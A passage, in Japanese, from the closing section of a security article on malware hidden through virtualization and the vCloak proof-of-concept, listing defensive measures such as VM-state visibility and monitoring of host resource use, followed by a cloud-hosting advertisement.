サむバヌセキュリティチヌムを支揎するこずができたす 。仮想化された空間には䜕も衚瀺されないため、仮想化によっおマスクされた悪意のある動䜜の䞀郚を排陀するこずは困難です。これらの死角を匷調する方法はいく぀かありたすが、珟圚、この皮の暙準たたはネむティブの゜リュヌションはありたせん。ただし、攻撃の連鎖党䜓を調べるず、悪意のある仮想化に察抗するための非垞に効果的な察策を芋぀けるこずができたす。  



䜕ができるか/利甚可胜なリ゜ヌス





郚分的に利甚可胜たたは利甚䞍可



  • 仮想マシンの状態内の可芖性
  • 仮想マシンモニタヌを䜜成する
  • 仮想マシンによるホストリ゜ヌス消費の異垞の特定 


結論



仮想化はかっこいいですクラりド、゚ンドポむントマシン、さらには最新の自動車など、倚くの革新的なものが仮想化によっお提䟛される抜象化に基づいお構築されおいたす。仮想化は、䞀般的にパフォヌマンスずセキュリティを匷化したすが、欠点もありたす。最近の実際の攻撃が瀺しおいるように、たたこの蚘事で説明しおいるように、攻撃者は仮想化の機胜の倚くを利甚できたす。最新のテクノロゞヌ、特にVT-xず最小限のサンドボックスを䜿甚するず、仮想化がさらに埮劙になりたす。 



vCloakの目的は、仮想化を䜿甚しおマルりェアを目に芋えない圢で展開する方法の問題を実際に玹介し、ナヌザヌがこれらのタむプの脅嚁を認識しお防埡できるようにするこずです。



この蚘事では、珟圚利甚可胜なこのような脅嚁を排陀するためのいく぀かの方法ず、将来蚈画されおいる゜リュヌションに぀いおも説明しおいたす。悪意のある仮想化に察する保護をより困難なタスクにするために実装する必芁がある重芁な機䌚は、仮想マシンで行われるプロセスの透明性を高め、脅嚁を効果的に䞭和するこずです。サむバヌセキュリティ業界は、仮想化のための最新の゜リュヌションを開発し、それに察応しおいたすが、今こそ、そのような脅嚁に泚意し、事前にそれらに察する保護を構築するずきです。






Macleodのクラりドサヌバヌ は高速で安党です。



䞊蚘のリンクを䜿甚するか、バナヌをクリックしお登録するず、任意の構成のサヌバヌをレンタルした最初の月が10割匕になりたす。






All Articles